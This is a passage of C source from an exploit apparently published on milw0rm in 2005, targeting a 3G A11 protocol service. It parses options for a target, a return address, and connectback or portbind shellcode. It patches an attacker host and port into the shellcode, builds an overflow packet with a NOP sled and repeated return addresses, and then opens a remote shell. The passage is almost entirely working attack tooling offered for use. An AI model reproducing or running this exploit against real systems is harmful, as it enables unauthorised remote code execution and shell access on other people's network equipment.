printf (" [-] %d. %s\n",
shellcode_list[i].id,
shellcode_list[i].desc);
}
printf ("\n");
printf ("Info:\n");
printf (" [-] 1. When using connectback shellcode, you must specify\n");
printf (" [-] the host to receive the connection (-h).\n");
printf ("\n");
printf (" [-] 2. When using portbind shellcode, the option (-h) will \n");
printf (" [-] have no effect.\n");
printf ("\n");
}
int
main (int argc, char *argv[])
{
struct target_t *target = NULL;
struct shellcode_t *shellcode = NULL;
int shellcode_len;
long dest = 0;
long host = 0;
int port = 0;
long addr = 0;
int opt;
int opt_err = 0;
int i;
char *ptr_pkt;
char pkt[1500];
int pkt_len;
while ((opt = getopt (argc, argv, "t:s:d:h:p:a:")) != EOF)
{
switch (opt)
{
case 't': /* target id */
if (find_target_by_id (atoi (optarg), &target) < 0)
{
printf ("Not a valid target id.\n");
opt_err ++;
}
break;
case 's': /* shellcode id */
if (find_shellcode_by_id (atoi (optarg), &shellcode) < 0)
{
printf ("Not a valid shellcode id.\n");
opt_err ++;
}
break;
case 'd': /* destination */
if (parse_ip (optarg, &dest) < 0)
{
printf ("Invalid address for destination.\n");
opt_err ++;
}
break;
case 'h': /* host for connectback */
if (parse_ip (optarg, &host) < 0)
{
printf ("Invalid address for host.\n");
opt_err ++;
}
break;
case 'p': /* port for connectback or portbind */
port = atoi (optarg);
if (port < 0 || port > 65535)
{
printf ("Invalid port.\n");
opt_err ++;
}
break;
case 'a': /* ret address */
if (sscanf (optarg, "0x%x", &addr) != 1)
{
printf ("Invalid address.\n");
opt_err ++;
}
break;
case '?':
default:
usage (argv[0]);
opt_err ++;
break;
}
}
if (opt_err != 0)
return -1;
if (argc < 2)
{
usage (argv[0]);
return 0;
}
if (target == NULL && addr == 0)
{
printf ("Please choose either a target (-t) or an address (-a).\n");
return -1;
}
if (target != NULL && addr != 0)
{
printf ("Target (-t) and address (-a) cannot be used together.\n");
return -1;
}
addr = target != NULL ? target->addr : addr;
if (shellcode == NULL)
{
printf ("Please choose a shellcode (-s).\n");
return -1;
}
shellcode_len = strlen (shellcode->data);
if (dest == 0)
{
printf ("Please choose a destination (-d).\n");
return -1;
}
if (shellcode->host_offset != -1)
{
char *ptr;
if (host == 0)
{
printf ("Please choose a host (-h).\n");
return -1;
}
ptr = shellcode->data + shellcode->host_offset;
*(ptr++) = (host & 0xff000000) >> 24;
*(ptr++) = (host & 0x00ff0000) >> 16;
*(ptr++) = (host & 0x0000ff00) >> 8;
*(ptr++) = (host & 0x000000ff);
}
if (shellcode->port_offset != -1)
{
char *ptr;
if (port == 0)
{
printf ("Please choose a port (-p).\n");
return -1;
}
ptr = shellcode->data + shellcode->port_offset;
*(ptr++) = (port & 0xff00) >> 8;
*(ptr++) = (port & 0x00ff);
}
/* copyright */
prog_info ();
/* some info */
printf ("[-] Using addr 0x%x\n", addr);
fflush (stdout);
/* build packet */
ptr_pkt = pkt;
memcpy (ptr_pkt, proto_3g_a11_begin,
sizeof (proto_3g_a11_begin));
ptr_pkt += sizeof (proto_3g_a11_begin) - 1;
memcpy (ptr_pkt, proto_3g_a11_before_shellcode,
sizeof (proto_3g_a11_before_shellcode));
ptr_pkt += sizeof (proto_3g_a11_before_shellcode) - 1;
/* shellcode */
memset (ptr_pkt, 0x90, 255);
ptr_pkt += 255 - shellcode_len - 2;
memcpy (ptr_pkt, shellcode->data, shellcode_len);
ptr_pkt += shellcode_len;
memcpy (ptr_pkt, proto_3g_a11_before_retaddrs,
sizeof (proto_3g_a11_before_retaddrs));
ptr_pkt += sizeof (proto_3g_a11_before_retaddrs) - 1;
/* addrs */
for (i=0; i<254; i+=4)
{
ptr_pkt[i] = (addr & 0x000000ff);
ptr_pkt[i+1] = (addr & 0x0000ff00) >> 8;
ptr_pkt[i+2] = (addr & 0x00ff0000) >> 16;
ptr_pkt[i+3] = (addr & 0xff000000) >> 24;
}
ptr_pkt += 254;
/* calc packet len */
pkt_len = ptr_pkt - pkt;
switch (shellcode->type)
{
case SC_PORTBIND:
shell_portbind (dest, port, pkt, pkt_len);
break;
case SC_CONNECTBACK:
shell_connectback (host, port, dest, pkt, pkt_len);
break;
default:
/* NOT REACHED */
break;
}
return 0;
}
// milw0rm.com [2005-03-14]